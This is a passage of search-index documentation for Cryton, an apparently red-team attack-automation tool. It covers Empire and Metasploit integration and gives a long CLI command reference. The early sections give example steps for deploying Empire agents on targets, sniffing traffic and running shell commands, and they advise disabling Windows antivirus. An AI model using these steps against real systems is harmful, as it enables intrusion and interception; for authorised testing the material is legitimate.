</ol>"},{"location":"integrated-tools/empire/#requirements-for-usage-with-core","title":"requirements for usage with Core:","text":"<ul> <li>Installed and running Empire server with version 4.1.0 and above. Installation guide here</li> <li>Installed all main Cryton components, that is Core, Worker and Cli</li> <li>Empire server needs to be able to communicate with Worker component</li> </ul> <p>For Empire usage only with Worker see documentation here.</p>"},{"location":"integrated-tools/empire/#step-types-for-empire-functionalities","title":"Step types for Empire functionalities","text":"<p>Empire functionalities supported by Cryton are represented by different Step types. More about the <code>step_type</code> argument in here.</p>"},{"location":"integrated-tools/empire/#deploy-empire-agent-on-a-target","title":"Deploy Empire agent on a target","text":"<p>This functionality uses <code>step_type: empire/agent-deploy</code> and enables to deploy Empire agent on the given target (executing Empire generated payload with given parameters on target).</p> <p>Usable arguments for this step type are:</p> Argument Description <code>listener_name</code> Name of listener in Empire for identification. If listener with this name already exists in Empire, it will be used for stager generation. <code>listener_port</code>(optional) Port on which should be listener communicating with Agents. <code>listener_options</code>(optional) Additional adjustable parameters for creating listener. More on here. <code>listener_type</code>(optional) Type of listener (default: http). <code>stager_type</code> Type of stager that should be generated in form of path (example: `multi/bash'). For stager types look here. <code>stager_options</code>(optional) Additional adjustable parameters for generating stager. Parameters can be viewed in individual stager python files or through Empire client. <code>agent_name</code> Name for the deployed agent which is going to be used as a reference to this agent later. <code>use_named_session</code>(optional) Name of created msf session through Cryton. <code>use_any_session_to_target</code>(optional) Ip address of target on which has been created msf session <code>session_id</code>(optional) ID of msf session to target. <code>ssh_connection</code>(optional) Arguments for creating ssh connection to target."},{"location":"integrated-tools/empire/#arguments-for-ssh_connection","title":"Arguments for <code>ssh_connection</code>","text":"Argument Description <code>target</code> Ip address for ssh connection. <code>username</code>(optional) Username for ssh connection. <code>password</code>(optional) Password for ssh connection if <code>ssh_key</code> is not supplied. <code>ssh_key</code>(optional) Ssh key for ssh connection if <code>password</code> is not supplied. <code>port</code>(optional) Port for ssh connection (default: 22)."},{"location":"integrated-tools/empire/#example","title":"Example","text":"<pre><code>- name: deploy-agent\nstep_type: empire/agent-deploy\narguments:\nuse_named_session: session_to_target_1 # using named session created in step ssh-session\nlistener_name: testing\nlistener_port: 80\nstager_type: multi/bash\nagent_name: MyAgent # only lower/upper characters and numbers allowed in name\n</code></pre>"},{"location":"integrated-tools/empire/#execute-shell-script-or-empire-module-on-agent","title":"Execute shell script or Empire module on agent","text":"<p>This functionality uses <code>step_type: empire/execute</code> and allows the execution of shell commands or Empire modules on active Empire agents.</p> <p>To execute a Shell command use the following arguments:</p> Argument Description <code>use_agent</code> Name of an active agent that checked on Empire server. <code>shell_command</code> Shell command that should be executed on an active agent (example: <code>whoami</code>). <p>To execute an Empire module use the following arguments:</p> Argument Description <code>use_agent</code> Name of an active agent that checked on Empire server. <code>module</code> Name of Empire module in form of a path that should be executed on the active agent (example: <code>collection/sniffer</code>). Available Empire modules here. <code>module_arguments</code>(optional) Additional arguments for Empire module execution."},{"location":"integrated-tools/empire/#example_1","title":"Example","text":"<pre><code>- name: sniffer-on-agent\nstep_type: empire/execute\narguments:\nuse_agent: MyAgent\nmodule: collection/sniffer\nmodule_arguments: # Optional\nIpFilter: 192.168.33.12\nPortFilter: 1234\n</code></pre> <pre><code>- name: whoami-on-agent\nstep_type: empire/execute\narguments:\nuse_agent: MyAgent\nshell_command: whoami\n</code></pre>"},{"location":"integrated-tools/empire/#debugging","title":"Debugging","text":""},{"location":"integrated-tools/empire/#empire-server-connection-problems","title":"Empire server connection problems","text":"<ol> <li>Check that the empire server is running correctly</li> <li>Check that the Worker component has access to the Empire server</li> </ol>"},{"location":"integrated-tools/empire/#empire-agent-cannot-connect-to-the-empire-server","title":"Empire Agent cannot connect to the Empire server","text":"<ol> <li>If you are using metasploit session for agent deployment, check that the session is functioning correctly</li> <li>Check that the Listener Host option is set to an IP address of the machine that the Empire server is running on and that the target you are deploying an Empire agent on has access to that IP address</li> </ol>"},{"location":"integrated-tools/empire/#deploy-empire-agent-on-windows","title":"Deploy Empire agent on Windows","text":"<p>Recommended Empire <code>stager_type</code> to use for Windows machines is <code>multi/launcher</code> right now.</p> <p>IMPORTANT!!</p> <p>For empire stagers to work on newer versions of Windows OS, you need to disable all firewall and antivirus protection on targeted Windows machine.</p>"},{"location":"integrated-tools/metasploit/","title":"Metasploit","text":"<p>Description of Metasploit functionalities supported by Cryton.</p>"},{"location":"integrated-tools/metasploit/#setup","title":"Setup","text":"<p>To be able to use MSF, it must be accessible to the Worker. All you need to do is start the msfrpc(d) module in MSF and set Worker's environment <code>CRYTON_WORKER_MSFRPCD_*</code> variables. After that, if you start the Worker and a connection is created, you will see the following message: <code>Connected to msfrpcd.</code>. </p>"},{"location":"integrated-tools/metasploit/#start-msfrpc","title":"Start MSFRPC","text":"<pre><code>load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User=msf Pass='toor' SSL=true\n</code></pre> <pre><code>msfrpcd -P toor\n</code></pre>"},{"location":"integrated-tools/metasploit/#session-management","title":"Session management","text":"<p>Cryton allows you to utilize sessions from Metasploit. To learn how, see session management.</p>"},{"location":"integrated-tools/metasploit/#msf-listener","title":"MSF listener","text":"<p>Cryton allows creating a Stage that will start an MSF listener on Worker and will wait until it returns a session that matches defined parameters. For more information see MSF listener in Stage.</p>"},{"location":"interfaces/cli/","title":"CLI","text":"<p>CLI implements capabilities of the Cryton's REST API and can be automated by using custom scripts.</p> <pre><code>Usage: cryton-cli [OPTIONS] COMMAND [ARGS]...\n\n A CLI wrapper for Cryton API.\n\nOptions:\n -H, --host TEXT Set Cryton's address (default is localhost).\n -p, --port INTEGER Set Cryton's address (default is 8000).\n --secure Set if HTTPS will be used.\n --debug Show non formatted output.\n --version Show the version and exit.\n --help Show this message and exit.\n\nCommands:\n execution-variables Manage Execution variables from here.\n logs Manage Workers from here.\n plan-executions Manage Plan's executions from here.\n plan-templates Manage Plan templates from here.\n plans Manage Plans from here.\n runs Manage Runs from here.\n stage-executions Manage Stage's executions from here.\n stages Manage Stages from here.\n step-executions Manage Step's executions from here.\n steps Manage Steps from here.\n workers Manage Workers from here.\n</code></pre>"},{"location":"interfaces/cli/#execution-variables","title":"execution-variables","text":"<p>Manage Execution variables from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create","title":"create","text":"<p>Create new execution variable(s) for PLAN_EXECUTION_ID from FILE.</p> <p>PLAN_EXECUTION_ID IS ID of the desired PlanExecution.</p> <p>FILE is path (can be multiple) to file(s) containing execution variables.</p> <p>Arguments: - PLAN_EXECUTION_ID - FILE </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete","title":"delete","text":"<p>Delete Execution variable with EXECUTION_VARIABLE_ID saved in Cryton.</p> <p>EXECUTION_VARIABLE_ID is ID of the Execution_variable you want to delete.</p> <p>Arguments: - EXECUTION_VARIABLE_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list","title":"list","text":"<p>List existing Execution variables in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Execution variables using Plan execution ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show","title":"show","text":"<p>Show Execution variable with EXECUTION_VARIABLE_ID saved in Cryton.</p> <p>EXECUTION_VARIABLE_ID is ID of the Execution variable you want to see.</p> <p>Arguments: - EXECUTION_VARIABLE_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#generate-docs","title":"generate-docs","text":"<p>Generate Markdown documentation for CLI.</p> <p>FILE is path/to/your/file where you want to save the generated documentation.</p> <p>Arguments: - FILE </p> <p>Options: - layer (<code>-l</code>, <code>--layer</code>) - Highest header level. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#logs","title":"logs","text":"<p>Manage Workers from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_1","title":"list","text":"<p>List existing Logs in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Phrase to use to filter the results. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#plan-executions","title":"plan-executions","text":"<p>Manage Plan's executions from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_1","title":"delete","text":"<p>Delete Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to delete.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#kill","title":"kill","text":"<p>Kill Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to kill.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_2","title":"list","text":"<p>List existing Plan's executions in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Plan executions using Run ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#pause","title":"pause","text":"<p>Pause Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to pause.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#report","title":"report","text":"<p>Create report for Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to create report for.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the report to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#resume","title":"resume","text":"<p>Resume Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to resume.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_1","title":"show","text":"<p>Show Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to see.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#validate-modules","title":"validate-modules","text":"<p>Validate modules for Plan's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Plan's execution you want to validate modules for.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#plan-templates","title":"plan-templates","text":"<p>Manage Plan templates from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_1","title":"create","text":"<p>Store Plan Template into Cryton.</p> <p>FILE is path/to/your/file that you want to upload to Cryton.</p> <p>Arguments: - FILE </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_2","title":"delete","text":"<p>Delete Template with TEMPLATE_ID saved in Cryton.</p> <p>TEMPLATE_ID is ID of the Template you want to delete.</p> <p>Arguments: - TEMPLATE_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#get-template","title":"get-template","text":"<p>Get Template with TEMPLATE_ID saved in Cryton.</p> <p>TEMPLATE_ID is ID of the Template you want to get.</p> <p>Arguments: - TEMPLATE_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the template to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_3","title":"list","text":"<p>List existing Plan templates in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_2","title":"show","text":"<p>Show Template with TEMPLATE_ID saved in Cryton.</p> <p>TEMPLATE_ID is ID of the Template you want to see.</p> <p>Arguments: - TEMPLATE_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#plans","title":"plans","text":"<p>Manage Plans from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_2","title":"create","text":"<p>Fill template PLAN_TEMPLATE_ID with inventory file(s) and save it to Cryton.</p> <p>PLAN_TEMPLATE_ID is ID of the template you want to fill.</p> <p>Arguments: - TEMPLATE_ID </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_3","title":"delete","text":"<p>Delete Plan with PLAN_ID saved in Cryton.</p> <p>PLAN_ID is ID of the Plan you want to delete.</p> <p>Arguments: - PLAN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#execute","title":"execute","text":"<p>Execute Plan saved in Cryton with PLAN_ID on Worker with WORKER_ID and attach it to Run with RUN_ID.</p> <p>PLAN_ID is ID of the Plan you want to execute.</p> <p>WORKER_ID is ID of the Plan you want to execute.</p> <p>RUN_ID is ID of the Run you want to attach this execution to.</p> <p>Arguments: - PLAN_ID - WORKER_ID - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#get-plan","title":"get-plan","text":"<p>Get Plan with PLAN_ID saved in Cryton.</p> <p>PLAN_ID is ID of the Plan you want to get.</p> <p>Arguments: - PLAN_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the plan to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_4","title":"list","text":"<p>List existing Plans in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_3","title":"show","text":"<p>Show Plan with PLAN_ID saved in Cryton.</p> <p>PLAN_ID is ID of the Plan you want to see.</p> <p>Arguments: - PLAN_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#validate","title":"validate","text":"<p>Validate (syntax check) your FILE with Plan.</p> <p>FILE is path/to/your/file that you want to validate.</p> <p>Arguments: - FILE </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#runs","title":"runs","text":"<p>Manage Runs from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_3","title":"create","text":"<p>Create new Run with PLAN_ID and WORKER_IDS.</p> <p>PLAN_ID is ID of the Plan you want to create Run for. (for example 1)</p> <p>WORKER_IDS is list of IDs you want to use for Run. (1 2 3)</p> <p>Arguments: - PLAN_ID - WORKER_IDS </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_4","title":"delete","text":"<p>Delete Run with RUN_ID saved in Cryton.</p> <p>RUN_ID is ID of the Run you want to delete.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#execute_1","title":"execute","text":"<p>Execute Run saved in Cryton with RUN_ID.</p> <p>RUN_ID is ID of the Run you want to execute.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#get-plan_1","title":"get-plan","text":"<p>Get plan from Run with RUN_ID saved in Cryton.</p> <p>RUN_ID is ID of the Run you want to get plan from.</p> <p>Arguments: - RUN_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the plan to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#kill_1","title":"kill","text":"<p>Kill Run saved in Cryton with RUN_ID.</p> <p>RUN_ID is ID of the Run you want to kill.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_5","title":"list","text":"<p>List existing Runs in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show 'less' like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#pause_1","title":"pause","text":"<p>Pause Run saved in Cryton with RUN_ID.</p> <p>RUN_ID is ID of the Run you want to pause.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#postpone","title":"postpone","text":"<p>Postpone Run saved in Cryton with RUN_ID by HOURS, MINUTES and SECONDS.</p> <p>RUN_ID is ID of the Run you want to postpone.</p> <p>HOURS is number of hours.</p> <p>MINUTES is number of minutes.</p> <p>SECONDS is number of seconds.</p> <p>Arguments: - RUN_ID - HOURS - MINUTES - SECONDS </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#report_1","title":"report","text":"<p>Create report for Run with RUN_ID saved in Cryton.</p> <p>RUN_ID is ID of the Run you want to create report for.</p> <p>Arguments: - RUN_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the report to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#reschedule","title":"reschedule","text":"<p>Reschedule Run saved in Cryton with RUN_ID to specified DATE and TIME.</p> <p>RUN_ID is ID of the Run you want to reschedule.</p> <p>DATE in format year-month-day (Y-m-d).</p> <p>TIME in format hours:minutes:seconds (H:M:S).</p> <p>Arguments: - RUN_ID - TO_DATE - TO_TIME </p> <p>Options: - utc_timezone (<code>--utc-timezone</code>) - Input time in UTC timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#resume_1","title":"resume","text":"<p>Resume Run saved in Cryton with RUN_ID.</p> <p>RUN_ID is ID of the Run you want to resume.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#schedule","title":"schedule","text":"<p>Schedule Run saved in Cryton with RUN_ID to specified DATE and TIME.</p> <p>RUN_ID is ID of the Run you want to schedule.</p> <p>DATE in format year-month-day (Y-m-d).</p> <p>TIME in format hours:minutes:seconds (H:M:S).</p> <p>Arguments: - RUN_ID - TO_DATE - TO_TIME </p> <p>Options: - utc_timezone (<code>--utc-timezone</code>) - Input time in UTC timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_4","title":"show","text":"<p>Show Run with RUN_ID saved in Cryton.</p> <p>RUN_ID is ID of the Run you want to see.</p> <p>Arguments: - RUN_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#unschedule","title":"unschedule","text":"<p>Unschedule Run saved in Cryton with RUN_ID.</p> <p>RUN_ID is ID of the Run you want to unschedule.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#validate-modules_1","title":"validate-modules","text":"<p>Validate modules for Run with RUN_ID saved in Cryton.</p> <p>RUN_ID is ID of the Run you want to validate modules for.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#stage-executions","title":"stage-executions","text":"<p>Manage Stage's executions from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_5","title":"delete","text":"<p>Delete Stage's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Stage's execution you want to delete.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#kill_2","title":"kill","text":"<p>Kill Stage's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Stage's execution you want to kill.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_6","title":"list","text":"<p>List existing Stage's executions in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Stage executions using Plan execution ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#re-execute","title":"re-execute","text":"<p>Re-execute Stage's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Stage's execution you want to kill.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - immediately (<code>--immediately</code>) - Re-execute StageExecution immediately without starting its Trigger. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#report_2","title":"report","text":"<p>Create report for Stage's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Stage's execution you want to create report for.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the report to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_5","title":"show","text":"<p>Show Stage's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Stage's execution you want to see.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#stages","title":"stages","text":"<p>Manage Stages from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_4","title":"create","text":"<p>Create Stage from FILE and add it to Plan with PLAN_ID.</p> <p>PLAN_ID is an ID of the Plan you want to add the Stage to.</p> <p>FILE is a path to the file containing the Stage template.</p> <p>Arguments: - PLAN_ID - FILE </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_6","title":"delete","text":"<p>Delete Stage with STAGE_ID saved in Cryton.</p> <p>STAGE_ID is ID of the Stage you want to delete.</p> <p>Arguments: - STAGE_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_7","title":"list","text":"<p>List existing Stages in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Stages using Plan ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_6","title":"show","text":"<p>Show Stage with STAGE_ID saved in Cryton.</p> <p>STAGE_ID is ID of the Stage you want to see.</p> <p>Arguments: - STAGE_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#start-trigger","title":"start-trigger","text":"<p>Start Stage's trigger with STAGE_ID under Plan execution with PLAN_EXECUTION_ID.</p> <p>STAGE_ID is an ID of the Stage you want to start.</p> <p>PLAN_EXECUTION_ID is an ID of the Plan execution you want to set as a parent of the Stage execution.</p> <p>Arguments: - STAGE_ID - PLAN_EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#validate_1","title":"validate","text":"<p>Validate (syntax check) your FILE with Stage.</p> <p>FILE is path/to/your/file that you want to validate.</p> <p>Arguments: - FILE </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - dynamic (<code>-D</code>, <code>--dynamic</code>) - If Stage will be used with a dynamic Plan. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#step-executions","title":"step-executions","text":"<p>Manage Step's executions from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_7","title":"delete","text":"<p>Delete Step's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Step's execution you want to delete.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#kill_3","title":"kill","text":"<p>Kill Step's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Step's execution you want to kill.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_8","title":"list","text":"<p>List existing Step's executions in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Step executions using Stage execution ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#re-execute_1","title":"re-execute","text":"<p>Re-execute Step's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Step's execution you want to kill.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#report_3","title":"report","text":"<p>Create report for Step's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Step's execution you want to create report for.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the report to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_7","title":"show","text":"<p>Show Step's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of 